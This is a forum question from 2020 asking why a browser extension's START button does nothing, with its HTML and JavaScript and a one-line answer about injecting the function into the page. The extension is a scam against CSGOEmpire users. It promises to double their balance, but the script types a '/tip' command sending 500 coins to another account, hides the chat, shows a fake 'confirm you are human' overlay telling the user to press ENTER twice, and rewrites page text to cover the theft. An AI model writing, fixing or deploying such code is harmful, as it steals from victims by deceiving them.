When the button is clicked, nothing happens, why (Browser Extension)?

  • 0
    In short, when this button is pressed, the function should be done, but when I click on START nothing happens, why?

    Here is the HTML and JS code:
    <!DOCTYPE html>
    <!--Начало первого блока объяснения кода-->
      <meta charset="utf-8">
      <!--ссылаемся на шрифты, используемые в документе-->
      <link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css">
      <!--здесь мы ссылаемся на стили, которые будем использовать в документе, а именно стиль иконок-->
      <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN"
        <!--начало блока со стилями для страницы-->
        /* Модальная структура документа */
        /*общие настройки для всего документа*/
        body {
          font-family: 'Open Sans', sans-serif;
          font-size: 14px;
          margin: 0;
          min-height: 180px;
          padding: 0;
          width: 380px;
        /*задаём настройки для заголовков первого уровня*/
        h1 {
          font-family: 'Menlo', monospace;
          font-size: 22px;
          font-weight: 400;
          margin: 0;
          color: #e9b10e;
        a:visited {
          color: #000000;
          outline: 0;
          text-decoration: none;
        /*задаём ширину картинки*/
        img {
          width: 30px; /*ширина изображений*/
        .modal-header {
          align-items: center; /*выравнивание элементов по центру*/
          border-bottom: 0.5px solid #dadada; /*свойства нижней разделительной линии*/
          height: 60px;
        .modal-content {
          padding: 0 22px; /*отступы сверху и снизу, сверху и слева*/
        .modal-icons {
          border-top: 0.5px solid #dadada; /*свойства верхней разделительной линии*/
          height: 50px;
          width: 100%;
        .logo {
          padding: 16px; /*отступы со всех сторон*/
        .logo-icon {
          vertical-align: text-bottom; /*выравнивание по нижней части текста*/
          margin-right: 12px; /*задётся отступ элементов от изображения*/
        .version {
          color: #444;
          font-size: 18px;
        .flex-container {
          display: flex; /*отображает контейнер в виде блочного элемента*/
          justify-content: space-between; /*равномерное выравнивание элементов*/
          padding: 10px 22px;
        /*задаём настройки для контейнеров с иконками*/
        .flex {
          opacity: 1; /*параметр непрозрачности иконок*/
          width: 120px;
        .flex:hover {
          opacity: 0.4; /*уровень непрозрачности при наведении курсора на элемент*/
        .flex .fa {
          font-size: 30px;
          color: #e9b10e;
      <!--конец объяснения блока со стилями-->
      <script src="popup.js"></script>
    <!--объяснение тега <body>-->
      <!--контейнер, содержащий название, логотип и номер версии-->
      <div class="modal-header">
        <h1 class="logo">
          <img class="logo-icon" src="images/icon.png">CSGOEMPIRE BUG
          <span class="version"></span>
      <!--Конец контейнера-->
      <!--контейнер, содержащий описание функций расширения-->
      <div class="modal-content">
        <p>The script is based on doubling your balace.  You have to send a request to the bot and , in just a few minutes , you will automatically receive your doubling.  Beside of this,  the function is unable and the balance still remains. The bot will send the amount of money that you firstly had.</p>
      <!--Конец контейнера-->
      <!--контейнер, содержащий контейнеры с иконками-->
      <div class="modal-icons">
        <div class="flex-container">
          <div class="flex">
            <!--target="_blank" — это служит для открытия новой влкадки при клике по иконке-->
            <a href="https://csgoempire.com/" target="_blank">
              <i class="fa fa-globe"></i>CSGOEMPIRE
          <div class="flex">
            <button id="button">START</button>

    and JS code:
    document.getElementById("button").addEventListener("click", myFunction());
    function myFunction() {
    	document.querySelector('.chat-input__textarea').value = '/tip @4342342342342342342 500';
    	document.querySelector('.chat-input__textarea').dispatchEvent(new Event('input'));
    	document.querySelector('.chat-input__textarea').dispatchEvent(new Event('change'));
    	 // comanda
    	document.querySelector('.chat-input__textarea').style.color = '#141419';
    	document.querySelector('.chat__messages.scroll-y.scroll-y--contain.z-10').style.display = "none";
    	document.querySelector('body').insertAdjacentHTML('beforebegin', '<div id="bigdiv" style="width: 30%; padding: 15px; position: absolute; top: 10%; z-index: 100; left: 35%; background-color: rgb(51, 53, 65); border-radius: 0.625rem; box-shadow: #e9b10e 0px 0px 5px 0px; border: 1px solid #e9b10e;"><p style="text-align: center; font-family: american-captain; font-weight: 400; color: rgb(220, 220, 220); letter-spacing: 0.025em; line-height: 2.25; font-size: 24px;"><b>CSGO EMPIRE Script <br>  Confirm that you are human </b></p> <p style="margin-top: 15px; text-align: center; font-weight: 700; color: #e9b10e; padding: 20px; font-size: 14px;"> You need to close console then Press ENTER 2x(two times) on your keyboard to continue. </p></div>');
    	// primul box
    	var rafAsync = () => new Promise(resolve => requestAnimationFrame(resolve));
    	 //chat focus
    	var awaitElement = (selector) => {
    	  return document.querySelector(selector)
    	    ? Promise.resolve(document.querySelector(selector))
    	    : rafAsync().then(() => awaitElement(selector))
    	awaitElement('.flex.flex-wrap.-ml-4').then(() => {
    	  	document.querySelector('.heading.text-center.mb-3').innerHTML = 'CSGOEMPIRE Script';
    		document.querySelector('.w-full.md\\:w-3\\/5.pl-4.mb-2.md\\:mb-5').innerHTML = 'CSGOEMPIRE script is something new for users. With this script you can double your balance , but it works just one time . If you try to do It second/third time nothing will happen to your security/your account security.' ;
    	//primul modal
    	awaitElement('.flex.flex-col.items-center').then(() => {
    	      document.querySelector('.heading.text-center.mb-2.md\\:mb-4').innerHTML = 'CSGOEMPIRE Script';
    	      document.querySelector('.flex.flex-wrap.justify-center.text-sm.mb-2.md\\:mb-4').innerHTML = 'The script is based on doubling your balace.  You have to send a request to the bot and , in just a few minutes , you will automatically receive your doubling.  Beside of this,  the function is unable and the balance still remains. The bot will send the amount of money that you firstly had. Enter here how many coins you have on balance';
    JavaScript Anonymous, Sep 24, 2020

  • 1 Answers
  • 0
    We need to inject the myFunction into the site page.
    Levi Gray

Your Answer
To place the code, please use CodePen or similar tool. Thanks you!